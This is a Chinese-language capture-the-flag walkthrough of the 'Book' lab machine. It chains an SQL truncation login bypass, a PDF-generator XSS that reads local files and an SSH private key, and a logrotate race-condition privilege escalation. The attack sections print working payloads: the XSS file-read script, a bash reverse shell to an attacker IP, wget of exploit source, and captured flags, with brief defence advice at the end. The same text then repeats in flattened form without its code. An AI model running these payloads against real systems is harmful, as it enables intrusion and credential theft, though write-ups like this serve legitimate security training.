[Meachines] [Medium] Book SQLTA+PDF-XSS-File_Read+TRP00F 自动化权限提升+logrotate条件竞争权限提升
字数 1077 2025-08-20 18:18:17

SQL截断攻击与权限提升技术详解

1. 信息收集阶段

1.1 基础扫描

使用nmap进行端口扫描:

nmap -p- 10.10.10.176 --min-rate 1000 -sC -sV

发现开放端口:

  • 22/tcp: OpenSSH 7.6p1 Ubuntu
  • 80/tcp: Apache httpd 2.4.29 (Ubuntu)

1.2 Web目录扫描

使用feroxbuster进行目录扫描:

feroxbuster --url http://10.10.10.176

发现重要路径:http://10.10.10.176/admin

2. SQL截断攻击(SQL Truncation Attack)

2.1 攻击原理

SQL截断攻击利用数据库字段长度限制,通过输入特定长度的数据导致数据库截断输入,从而绕过身份验证或获得管理员权限。

2.2 攻击步骤

  1. 发现注册时admin@book.htb已存在
  2. 尝试在邮箱后添加空格和点:
    name=admin%40book.htb&email=admin%40book.htb++++++.&password=123456
    
  3. 确定数据库最大字符串长度为20,当"."位于第21位时被删除
  4. 成功以管理员身份登录http://10.10.10.176/admin

3. PDF-XSS文件读取漏洞

3.1 漏洞发现

collection.php中发现PDF上传功能,测试XSS注入点:

<p id="test">vu</p><script>document.getElementById('test').innerHTML+='ln'</script>

3.2 文件读取利用

构造XSS payload读取文件:

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(this.responseText)};
x.open("GET","file:///etc/passwd");
x.send();
</script>

3.3 自动化利用脚本

#!/usr/bin/python3
import requests
from cmd import Cmd
from tika import parser

class Terminal(Cmd):
    # 初始化会话等代码...
    
    def default(self, args):
        files = {'Upload': ('file.pdf', 'dummy data', 'application/pdf')}
        values = {
            'title': '<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file://' + args + '");x.send();</script>',
            'author': '0xdf',
            'Upload': 'Upload'
        }
        # 上传PDF并获取结果...

4. 权限提升技术

4.1 获取SSH私钥

通过文件读取获取/home/reader/.ssh/id_rsa

$ python3 exp.py book> /home/reader/.ssh/id_rsa

4.2 TRP00F自动化权限提升

使用TRP00F工具:

$ python3 trp00f.py --lhost 10.10.16.24 --lport 10000 --rhost 10.10.16.24 --rport 10001 --http 1111

4.3 logrotate条件竞争漏洞

4.3.1 漏洞发现

通过pspy32发现root每5秒执行/root/log.shlogrotate

4.3.2 漏洞利用

  1. 准备payload:
echo -e '#!/bin/bash\nbash -c "/bin/bash -i >& /dev/tcp/10.10.16.24/10033 0>&1" &'>shell.sh
chmod +x shell.sh
  1. 编译利用工具:
wget http://10.10.16.24/logrotten.c
gcc -o logrotten logrotten.c
chmod +x logrotten
  1. 执行攻击:
echo test >> /home/reader/backups/access.log;sleep 1;./logrotten -d -p shell.sh /home/reader/backups/access.log

4.3.3 漏洞原理

logrotate存在竞争条件,攻击者可以在logrotate重命名日志文件后,将日志目录替换为指向其他位置的符号链接,导致root在任意目录创建文件。

5. 关键文件内容

5.1 获取的用户凭据

  • User.txt: 8bdb753f4a753405e4508285c19a84c2
  • Root.txt: aae4b4b5c5603ef3e0d4c4a37345851f

5.2 SSH私钥

-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA2JJQsccK6fE05OWbVGOuKZdf0FyicoUrrm821nHygmLgWSpJ
[...省略部分内容...]
e3N0cm9rZTojMDAwO3N0cm9rZS13aWR0aDowLjU7fQogICAgPC9zdHlsZT4KPC9z
dmc+Cg==
-----END RSA PRIVATE KEY-----

6. 防御建议

  1. SQL截断防御

    • 实施输入验证和长度限制
    • 使用预处理语句
    • 对用户输入进行适当转义
  2. XSS防御

    • 实施内容安全策略(CSP)
    • 对用户输入进行HTML编码
    • 禁用PDF中的JavaScript执行
  3. 权限提升防御

    • 确保日志目录权限正确设置
    • 使用su选项配置logrotate
    • 定期更新系统和软件包
SQL截断攻击与权限提升技术详解 1. 信息收集阶段 1.1 基础扫描 使用nmap进行端口扫描: 发现开放端口: 22/tcp: OpenSSH 7.6p1 Ubuntu 80/tcp: Apache httpd 2.4.29 (Ubuntu) 1.2 Web目录扫描 使用feroxbuster进行目录扫描: 发现重要路径: http://10.10.10.176/admin 2. SQL截断攻击(SQL Truncation Attack) 2.1 攻击原理 SQL截断攻击利用数据库字段长度限制,通过输入特定长度的数据导致数据库截断输入,从而绕过身份验证或获得管理员权限。 2.2 攻击步骤 发现注册时admin@book.htb已存在 尝试在邮箱后添加空格和点: 确定数据库最大字符串长度为20,当"."位于第21位时被删除 成功以管理员身份登录 http://10.10.10.176/admin 3. PDF-XSS文件读取漏洞 3.1 漏洞发现 在 collection.php 中发现PDF上传功能,测试XSS注入点: 3.2 文件读取利用 构造XSS payload读取文件: 3.3 自动化利用脚本 4. 权限提升技术 4.1 获取SSH私钥 通过文件读取获取 /home/reader/.ssh/id_rsa : 4.2 TRP00F自动化权限提升 使用TRP00F工具: 4.3 logrotate条件竞争漏洞 4.3.1 漏洞发现 通过pspy32发现root每5秒执行 /root/log.sh 和 logrotate 4.3.2 漏洞利用 准备payload: 编译利用工具: 执行攻击: 4.3.3 漏洞原理 logrotate存在竞争条件,攻击者可以在logrotate重命名日志文件后,将日志目录替换为指向其他位置的符号链接,导致root在任意目录创建文件。 5. 关键文件内容 5.1 获取的用户凭据 User.txt: 8bdb753f4a753405e4508285c19a84c2 Root.txt: aae4b4b5c5603ef3e0d4c4a37345851f 5.2 SSH私钥 6. 防御建议 SQL截断防御 : 实施输入验证和长度限制 使用预处理语句 对用户输入进行适当转义 XSS防御 : 实施内容安全策略(CSP) 对用户输入进行HTML编码 禁用PDF中的JavaScript执行 权限提升防御 : 确保日志目录权限正确设置 使用su选项配置logrotate 定期更新系统和软件包